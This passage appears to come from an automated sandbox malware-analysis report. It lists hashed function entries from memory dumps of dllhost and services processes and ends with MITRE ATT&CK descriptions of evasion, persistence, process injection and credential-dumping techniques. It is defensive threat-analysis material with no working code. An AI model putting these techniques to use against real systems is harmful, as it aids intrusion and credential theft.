Instruction ID: 037e0bd620e6754fb3588cb36fbb5757d315a526a35e376c9dc0c32f5b2ec47f
Opcode Fuzzy Hash: 52607a910237e6e6b2cd746ebc4f48033578da88225f38dfc79e2322f35e9def
Instruction Fuzzy Hash: 1511CE30E1AA0E8EE7B49F98C0257B9B6A1EF88300F04043ED40DE36D6CE38A9409651

Function 00007FFD9B8A3F6B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b80a9b867a2cc29d17517684b8bcc8296a6455ff88816221bdbb1c6ea2b61b
Instruction ID: 783cd07a978060709160e7f5eb6f2b0893e57de7ca83318b17fe15457139e8ad
Opcode Fuzzy Hash: 13b80a9b867a2cc29d17517684b8bcc8296a6455ff88816221bdbb1c6ea2b61b
Instruction Fuzzy Hash: 0B01AD30A0A64E8FE7A4DF64C4257B9BBA1EF89300F04047ED409E72D6CE386941A711

Function 00007FFD9B8A6839 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d57568d1be28d90ba4de6f2a4d69d5cc4a91cb21c2ecd07ac74183c340a6012
Instruction ID: ad1c2ef31552850859396304d29740228f5c224a26a5116fddeba4fda09d604f
Opcode Fuzzy Hash: 7d57568d1be28d90ba4de6f2a4d69d5cc4a91cb21c2ecd07ac74183c340a6012
Instruction Fuzzy Hash: B4F03C7090E68D8FDB52EF6888686ADBFF0FF1A300F0505ABD458D71A6E7389644CB51

Function 00007FFD9B8A10EA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a9b4f93fe7216e3b91cdac56076572d1f761f8bf54bb6f158f8b2d2f3e1a11
Instruction ID: 26cb53d8599fd7257b5baa75365b068da1623b5ef4c020ff4bd55f15febb8f24
Opcode Fuzzy Hash: c6a9b4f93fe7216e3b91cdac56076572d1f761f8bf54bb6f158f8b2d2f3e1a11
Instruction Fuzzy Hash: 6FE06832908A4C4BDBA0EF68A8166A6FBB0FBCA308F01016EE55CC30A1D3259642C380

Function 00007FFD9B8A4F5C Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c3e93787eb5756005976317fe58c8778a623868cf9cad21e49af888a583b487
Instruction ID: 0581af6899cde3399f943791f18a345b4b1817a9df0a825cc02115fd6acfd42f
Opcode Fuzzy Hash: 7c3e93787eb5756005976317fe58c8778a623868cf9cad21e49af888a583b487
Instruction Fuzzy Hash: C3E06831A49A0C4FDB509B989C2028433A0FB8C308F05026ED00CCB191D7615640C302

Function 00007FFD9B8A6680 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ee1c862055f0e15cad11a7f18ce4c61f7daa4aed7dc58bc3fa2fb718089a28
Instruction ID: f2118a013a1d7196077e7fc99b33f73e7011191ab33be1bfad8caa0f2a5ba5c2
Opcode Fuzzy Hash: b1ee1c862055f0e15cad11a7f18ce4c61f7daa4aed7dc58bc3fa2fb718089a28
Instruction Fuzzy Hash: A8E06F31A49A0C8BCB64AB589C2028832B0FB9E308F01026AE08CC3094D3215A8AC300

Function 00007FFD9B8A09D3 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e52690b5bb07101ea8831752bea0066c67e5961de85eb8c05f85165c337ac13
Instruction ID: 27f0cd4d0331d3d9be1a69250d218eeb426e99c6ed2aec7de37c72fb1d1bdbb9
Opcode Fuzzy Hash: 0e52690b5bb07101ea8831752bea0066c67e5961de85eb8c05f85165c337ac13
Instruction Fuzzy Hash: A7E04F31A2591D8FDB58EF88D8955FC73B2FB98710B011536D00DE7152DA216801C750

Analysis Process: services.exePID: 6848, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8B1250 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9B8B137D

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 14ed4c5a5ef8e0bd86b033237ce499a7188be4d218a0bda011ef205eb1c5eeac
Instruction ID: f116fe305c8d308bf863560e20972818e1403578c4b8cbee529b7ef066bd1b66
Opcode Fuzzy Hash: 14ed4c5a5ef8e0bd86b033237ce499a7188be4d218a0bda011ef205eb1c5eeac
Instruction Fuzzy Hash: 71A18274A1891C8FDB98EF58C894BA8B7F1FF69301F4501A9E00DE72A5DB74AD81CB40

Function 00007FFD9B8B1751 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c85edad9f908e83892606941c4195871caeff55dc96a8dcf1e0d78ea998525d
Instruction ID: 112f51b8314a9c4287ee8086dd713a56068ced29c8f5aea2ef9e76cda8d786c0
Opcode Fuzzy Hash: 7c85edad9f908e83892606941c4195871caeff55dc96a8dcf1e0d78ea998525d
Instruction Fuzzy Hash: 1FE18171E2965D8FDB58EB64D865BE8BBB1FF58300F0441BAD00DD72A2DA386981CB41

Function 00007FFD9B8B4843 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddf72a2a3e8ec460f4217ff54f467c199a8bcf1fb19f12cad4440c5b7709064
Instruction ID: 31096f32a0c52710df362b5217cd75f76685cdf500c0072a5eecb8435efb017a
Opcode Fuzzy Hash: 5ddf72a2a3e8ec460f4217ff54f467c199a8bcf1fb19f12cad4440c5b7709064
Instruction Fuzzy Hash: BE91D370E18A1D8FDB94EFA8C855BADB7B1FF58300F5041AAD41DE3296DB3469858F40

Function 00007FFD9B8B1831 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d143f33dcd0de292c4325950fea8e5016f2f1f8ddf1c23995bdd8816f56d2d5e
Instruction ID: 47039937a175cae1dbaa8ab9798448b9bdc38267658a3a8ab2ad9821a9a506d1
Opcode Fuzzy Hash: d143f33dcd0de292c4325950fea8e5016f2f1f8ddf1c23995bdd8816f56d2d5e
Instruction Fuzzy Hash: EE913E71A2965D8FDB9CEB68C8A4BA8B7B1FF58300F5441B9D00DD72A6DE346980CF41

Function 00007FFD9B8B4611 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ec2f5b8e98c85b93593158db0b917fdbd5d78c939435a248e33dcbfa2661c8
Instruction ID: fb1c45331f6c3ab615640c6ada9bf5ae110bb2b563a3faa278234bef6a1b0b12
Opcode Fuzzy Hash: 26ec2f5b8e98c85b93593158db0b917fdbd5d78c939435a248e33dcbfa2661c8
Instruction Fuzzy Hash: B461E470E19A2D8FDB98EFA8D865AEDBBB1FF59300F50016AD00DE3295DB346941CB40

Function 00007FFD9B8B4F5C Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8449e2dbf99ce0ec3182703d9ea9ba0afc49d9fbb119359d2a5fc50b841f0e63
Instruction ID: a0ebf56a04b199637e496221458f6885f34759b17702ff93677fe845d858b691
Opcode Fuzzy Hash: 8449e2dbf99ce0ec3182703d9ea9ba0afc49d9fbb119359d2a5fc50b841f0e63
Instruction Fuzzy Hash: FF71C670D0892C8FDBA5EF58D8A5BE9B7B1FB58304F5001AAD40DE3295DB75AA84CF40

Function 00007FFD9B8B67ED Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97571ae163ca8b1d847cb549c9644b9cfff7c6dad1686fcc34c191ff063fe221
Instruction ID: e7d0116b0084a310d51ec81e26abf75d3e5e0366929875e8614b8dbc726c2fdd
Opcode Fuzzy Hash: 97571ae163ca8b1d847cb549c9644b9cfff7c6dad1686fcc34c191ff063fe221
Instruction Fuzzy Hash: BE518071D0E25E8FDB559B6488656FD7BF0FF0A300F0501BAD015D71D2DA389A44CB92

Function 00007FFD9B8B0C6D Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 747e0626559988609a982e6ca74c2199a66e0aa96ff2aa5d2f43be4d66c85efa
Instruction ID: 6bea1f951bc6f4aeff989a9c788569590ef8a193982ed46ecff4fe6a1257df8b
Opcode Fuzzy Hash: 747e0626559988609a982e6ca74c2199a66e0aa96ff2aa5d2f43be4d66c85efa
Instruction Fuzzy Hash: AF412830E1961D8FDB55EFA8D454AEDBBB0FF59300F01057AE009E3196DB78A945CB80

Function 00007FFD9B8B1521 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95108a359118595e8a7297994c673e97806136de2e5fa273fb1d77815dbf706
Instruction ID: 3aae93b168afcb5040e03155b321cd100eeb61dc14812c6f5eda673be769164f
Opcode Fuzzy Hash: c95108a359118595e8a7297994c673e97806136de2e5fa273fb1d77815dbf706
Instruction Fuzzy Hash: 9741FC30A1991D8FDBA4EF68C895BECB7B1FB58304F514069904EE7261DE34A9818F40

Function 00007FFD9B8B4525 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229a2a9491305d6850625b7703c4b0785b5c42ef477e908c48e804602fa07530
Instruction ID: f2acd85b7e61678f2dd740eb4534f0e9569e923dba439e2906a4d87f38577bcd
Opcode Fuzzy Hash: 229a2a9491305d6850625b7703c4b0785b5c42ef477e908c48e804602fa07530
Instruction Fuzzy Hash: 95312662A0EACA4FE755DF788C355E87FA1FF59310B4A01BBD4488B1E7CA24A904C781

Function 00007FFD9B8B4BE9 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9244e5bf7e080df9d667c19391159e6e6ff50885d961076ae18ca0219d5a724c
Instruction ID: 2bd7a034ec76978dc89d6bf8c61e82263760b05a5f347f5d62af74a20c340776
Opcode Fuzzy Hash: 9244e5bf7e080df9d667c19391159e6e6ff50885d961076ae18ca0219d5a724c
Instruction Fuzzy Hash: 58417930E096598FEB55EFA48865AADBBB1FF49300F5401BED008D72A6CB385981CF41

Function 00007FFD9B8B1129 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4421fff47fb52eaffb2cecc7953c8f00555d653d3b0d164e03a9ba7250a8a0fe
Instruction ID: 304dc09de23b551f511da349e54031f154008351d081075e2ef90b6d5789e2b5
Opcode Fuzzy Hash: 4421fff47fb52eaffb2cecc7953c8f00555d653d3b0d164e03a9ba7250a8a0fe
Instruction Fuzzy Hash: 40218D31A1995D8FDF91EFA8D855AED7BF1FF59310F00017AE408E72A2CA389941CB80

Function 00007FFD9B8B3A8D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be2730f41d7341dd7ba89333ff2e3ca5d1b8bf602deab3c4763d5a1cf983a97f
Instruction ID: 60d5d82bd57aee3800135b1dc17c7538e2675b292c2efedb416ba172ed90411d
Opcode Fuzzy Hash: be2730f41d7341dd7ba89333ff2e3ca5d1b8bf602deab3c4763d5a1cf983a97f
Instruction Fuzzy Hash: 7821B431B0FA9E4FEB65DB3888646A977A0FF45300F0601BAC04CD71D2DE75A945CB81

Function 00007FFD9B8B3F00 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f35a6d2548d10ca8fd705be2d1ce2579b48be4fef161d6cf1a7612a1bcaaa7a
Instruction ID: 6f4dc5a6d1a7eb62646890c61c447e0d389ddee916a5679fb77a7df581357256
Opcode Fuzzy Hash: 2f35a6d2548d10ca8fd705be2d1ce2579b48be4fef161d6cf1a7612a1bcaaa7a
Instruction Fuzzy Hash: 7D313A30E1661E8FE7A8DB64C4697B976A1EF49300F0005BAD45DD32E6CE346A818F80

Function 00007FFD9B8B3F0B Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f971e54b68777724674d04bec39c0430d3aec4371d4d2e970582c9d7123161a5
Instruction ID: c1e678ee8659a690c92fe9cd628aa2191ada5a32b018934956ad0e6af958ce70
Opcode Fuzzy Hash: f971e54b68777724674d04bec39c0430d3aec4371d4d2e970582c9d7123161a5
Instruction Fuzzy Hash: F6216531E0A61E8FEB74DFA4C4656B973B1EF89310F05007AD51D932E6DE38AA418F81

Function 00007FFD9B8B1048 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b9bee8c4dc9fc4822fa18264f3cf1286ef2e39083e142d23c2cd7e96a763ceb
Instruction ID: ea57366a63b221e3b3d9f0b90b7818cedbdac15b3380ef2cd8c6ed7d40579093
Opcode Fuzzy Hash: 8b9bee8c4dc9fc4822fa18264f3cf1286ef2e39083e142d23c2cd7e96a763ceb
Instruction Fuzzy Hash: DF219274A1891D8FDF88EF98D495EEDBBB1FF6C301F104169E509E7255DA34E8418B80

Function 00007FFD9B8B3F43 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37449180f0b15a550a1cc75dc42014dee205178d555d3a0aa3a7635b041fa6b2
Instruction ID: 604b9e61981cc2ffdfe0a3f9a6e15fb6f43a6c08c5c57cb45e8c2922211ec979
Opcode Fuzzy Hash: 37449180f0b15a550a1cc75dc42014dee205178d555d3a0aa3a7635b041fa6b2
Instruction Fuzzy Hash: 5B219D30A0E75D4FEBA5DB64C825BB97BB0EF49300F0401BBD409D72E6CE3869458B82

Function 00007FFD9B8B3F62 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a23bdc975c9f66b2abe792e04341fb723d5c854facc6dddfcde7f4e8aae025
Instruction ID: f77ebee80318d3804212d2cb10aa7ec42684c558ef6383a544713a652259737f
Opcode Fuzzy Hash: e8a23bdc975c9f66b2abe792e04341fb723d5c854facc6dddfcde7f4e8aae025
Instruction Fuzzy Hash: 51119130E0A62E8FEBB8DB74C4257BA76B1EF89300F05153ED41DD32E5CE3869058A81

Function 00007FFD9B8B3EEC Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ebba4f395344b1341b9ba209c72ead6a973162b4bfdfffd266fe500f93df69a
Instruction ID: c363716e673ddd08ba09da8580b9cc7de06437bb9365e322fde19490bba4aee8
Opcode Fuzzy Hash: 3ebba4f395344b1341b9ba209c72ead6a973162b4bfdfffd266fe500f93df69a
Instruction Fuzzy Hash: 5811C130E0A75E8FE7659F74842A7B97BB1EF4A300F04007ED429C72E6CE3469019B41

Function 00007FFD9B8B3F74 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408a50e22088b2e2b0aeba19735d014028a6877b40029b1f985c4ae5d7b0a0fe
Instruction ID: 328f18a8b3c91a3695e6b753ef6d120d7d4cb23307e33881fdd39bf3711d5064
Opcode Fuzzy Hash: 408a50e22088b2e2b0aeba19735d014028a6877b40029b1f985c4ae5d7b0a0fe
Instruction Fuzzy Hash: 3111CE30E0AA1E8EF7B49FA4C0257B976A1EF88300F04043ED40DD36D6CE38A9418A81

Function 00007FFD9B8B3F6B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3873d83b70991a8edbe19d12f016369ba4246d3a51e1919b14f7c937d2129e5
Instruction ID: 0ccb4372d959c8b20e8eb758ae7b81e6bd20b583006e78e899834007e10bc759
Opcode Fuzzy Hash: b3873d83b70991a8edbe19d12f016369ba4246d3a51e1919b14f7c937d2129e5
Instruction Fuzzy Hash: 5701C030E0A64E8FE7A4DF64C4257B97BB1EF89300F04047ED419D72D6CE3869419B41

Function 00007FFD9B8B10EA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2310828567.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_7ffd9b8b0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aff12e73a01172798184d4577978ff03ec1eebc0c357c7e3a628ef56402757c
Instruction ID: a3b35ec3ab8aecf4defcc904c53cdbffc1be6caacb17093d04dba0d896a2848f
Opcode Fuzzy Hash: 8aff12e73a01172798184d4577978ff03ec1eebc0c357c7e3a628ef56402757c
Instruction Fuzzy Hash: A3E06832918A5C4BDB60EF69A8166A6FBB0FBC9308F01006AE55CC30A1C2259651C780

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

